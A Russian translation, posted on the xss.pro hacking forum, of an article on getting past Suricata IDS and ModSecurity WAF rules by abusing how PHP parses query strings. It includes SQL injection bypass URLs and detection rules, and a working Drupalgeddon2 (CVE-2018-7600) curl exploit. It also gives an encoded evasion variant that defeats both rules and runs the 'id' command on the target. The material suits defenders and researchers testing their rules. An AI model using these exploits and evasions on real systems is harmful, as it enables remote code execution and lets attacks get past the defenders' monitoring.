• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обход IDS / IPS и Application Firewall

$talk3r

RAM
Пользователь
Регистрация
25.06.2019
Сообщения
134
Реакции
132
Переведено специально для xss.pro by Stalker
Оригинальная статья

В этом посте мы увидим, как синтаксический анализатор PHP-запросов может привести к обходу многих правил IDS / IPS и Application Firewall.

Вступление
Как вы знаете, PHP преобразует строку запроса (в URL или в теле) в ассоциативный массив внутри $ _GET или $ _POST. Например: /? Foo = bar становится Array ([foo] => "bar"). Процесс разбора строки запроса удаляет или заменяет некоторые символы в именах аргументов подчеркиванием. Например, /?% 20news [id% 00 = 42 будет преобразовано в Array ([news_id] => 42). Если у IDS / IPS или WAF есть правило для блокировки или регистрации нечислового значения в параметре news_id, это можно обойти, злоупотребив этим процессом анализа, например:

PHP:
/news.php?%20news[id%00=42"+AND+1=0--

В PHP значение имени аргумента в приведенном выше примере% 20news [id% 00 будет сохранено в $ _GET ["news_id"].


Почему так?
PHP должен преобразовать все аргументы в допустимое имя переменной, поэтому при разборе строки запроса он выполняет две основные функции:
-удаляет начальные пробелы
-преобразует некоторые символы в подчеркивание (включая пробелы)

Например:
4342


С помощью простого цикла, такого как следующий, вы можете узнать, какой символ удален или преобразован в подчеркивание, с помощью функции parse_str:

TEjgpr9.gif

PHP parser_str
PHP:
<?php

    foreach(
        [
            "{chr}foo_bar",
            "foo{chr}bar",
            "foo_bar{chr}"
        ] as $k => $arg) {

            for($i=0;$i<=255;$i++) {
                echo "\033[999D\033[K\r";
                echo "[".$arg."] check ".bin2hex(chr($i))."";
                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
          
                /* yes... I've added a sleep time on each loop just for
                the scenic effect :) like that movie with unrealistic
                brute-force where the password are obtained
                one byte at a time (∩`-´)⊃━☆゚.*・。゚
                */
                usleep(5000);
          
                if(isset($o["foo_bar"])) {
                    echo "\033[999D\033[K\r";
                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
                }
            }

            echo "\033[999D\033[K\r";
            echo "\n";
    }

kJJxWU2.gif


GIF с примером запуска parse_str.php​

parse_str используется поверх get, post и cookie. Нечто подобное происходит и с заголовками, если ваш веб-сервер принимает имена заголовков с точками или пробелами. Я трижды выполнил цикл, описанный выше, перечисляя все символы от 0 до 255 в обоих концах имени параметра и вместо подчеркивания. Это результаты:
  • [1st]foo_bar
  • foo[2nd]bar
  • foo_bar[3rd]

Y7XnZqr.png


evS23Pq.png


В приведенной выше схеме foo% 20bar и foo + bar эквивалентны и анализируются как foo bar.


Suricata
Для непосвященных Suricata является «быстрым и надежным механизмом обнаружения сетевых угроз с открытым исходным кодом», и его механизм способен обнаруживать вторжения в реальном времени (IDS), встроенное предотвращение вторжений (IPS), мониторинг сетевой безопасности (NSM) и автономная обработка pcap.

С помощью Suricata вы даже можете определить код, которой проверяет HTTP-трафик. Предположим, у вас есть такое код:


Код:
alert http any any -> $HOME_NET any (\
    msg: "Block SQLi"; flow:established,to_server;\
    content: "POST"; http_method;\
    pcre: "/news_id=[^0-9]+/Pi";\
    sid:1234567;\
)

Этот код проверяет, имеет ли news_id нечисловое значение. В PHP это можно легко обойти, используя неправильный парсер строки запроса, например, один из следующих:

Код:
/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

Выполняя поиск в Google и GitHub, я обнаружил, что существует множество правил Suricata для PHP, которые можно обойти, заменив подчеркивание, добавив нулевой байт или пробел в проверяемом имени аргумента. Настоящий пример:
Код:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

Как мы уже видели, это можно обойти: /view.php?i[B]%00[/B]=1&[B]%20[/B]key=d3b07384d113edec49eaa6238ad5ff00

Если честно, было бы достаточно изменить позицию аргумента следующим образом: /view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1


WAF (ModSecurity)
Синтаксический анализатор PHP-запросов может также использоваться для обхода правил WAF. Представьте себе правило ModSecurity, такое как SecRule! ARGS: news_id "@rx ^ [0-9] + $" "block", очевидно, подвержено той же технологии обхода. К счастью, в ModSecurity вы можете указать аргумент строки запроса с помощью регулярного выражения. Что-то вроде:
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

Это заблокирует все следующие запросы:

Код:
⛔/?news[id=1%22+AND+1=1--'
⛔/?news%5bid=1%22+AND+1=1--'
⛔/?news_id%00=1%22+AND+1=1--'


PoC || GTFO
Давайте создадим PoC с Suricata и Drupal CMS для использования CVE-2018-7600 (удаленное выполнение кода Drupalgeddon2). Для простоты я буду запускать Suricata и Drupal на двух док-контейнерах и попытаюсь использовать Drupal из контейнера Suricata.
Я активирую 2 кода в Suricata

-Пользовательский код, который блокирует form_id=user_register_form
-Positive Technologies Suricata rule для CVE-2018-7600

image-18.png


Для установки Suricata я следовал официальному руководству по установке, а для Drupal я запустил контейнер vulhub, который можно клонировать здесь:

image.png


Окей, во-первых, давайте попробуем использовать CVE-2018-7600. Я хочу создать небольшой скрипт bash, который выполняет curl, что-то вроде:

PHP:
#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

Как вы можете видеть скрипт выше выполняет команду id. Давай попробуем:
image-1.png



Теперь давайте попробуем импортировать следующие два кода в Suricata: я написал первый, и он просто пытается сопоставить form_id = user_register_form внутри тела запроса; Позитивная Технология записывает второй и соответствует / user / register в URL-адресе запроса и что-то вроде #post_render в теле запроса.

Мой код:
PHP:
alert http any any -> $HOME_NET any (\
  msg: "Possible Drupalgeddon2 attack";\
  flow: established, to_server;\
  content: "/user/register"; http_uri;\
  content: "POST"; http_method;\
  pcre: "/form_id=user_register_form/Pi";\
  sid: 10002807;\
  rev: 1;\
)

PT код:

PHP:
alert http any any -> $HOME_NET any (\
  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
  flow: established, to_server; \
  content: "/user/register"; http_uri; \
  content: "POST"; http_method; \
  content: "drupal"; http_client_body; \
  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
  reference: cve, 2018-7600; \
  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
  classtype: attempted-admin; \
  reference: url, github.com/ptresearch/AttackDetection; \
  metadata: Open Ptsecurity.com ruleset; \
  sid: 10002808; \
  rev: 2; \
)

После перезапуска Suricata я смогу узнать, будут ли два приведенных выше кода перехватывать мой эксплойт:
ZsPOUct.gif



Ура! У нас есть два лога Suricata:
  • ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
  • Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

Обходим всё!
Оба кода действительно легко обойти. Мы уже видели, как обойти мой код злоупотребления синтаксическим анализатором строк запроса PHP. Мы можем заменить form_id = user_register_form на что-то вроде: form%5bid=user_register_form

ihvEUAp.gif



Как видите, только код PT соответствует. Анализируя регулярное выражение правила PT, мы видим, что оно соответствует # и его зашифрованной версии% 23. То, что он не делает, должно соответствовать закодированной версии символа подчеркивания. Итак, мы можем просто обойти это, используя post% 5frender вместо post_render:


suricata_2bypass.gif




Оба кода были обойдены следующим эксплоитом:

Bash:
#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"


P.S. Поддержи переводы печеньками к чаю:
QIWI +380999543560
Yandex.Money 410018707581713
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх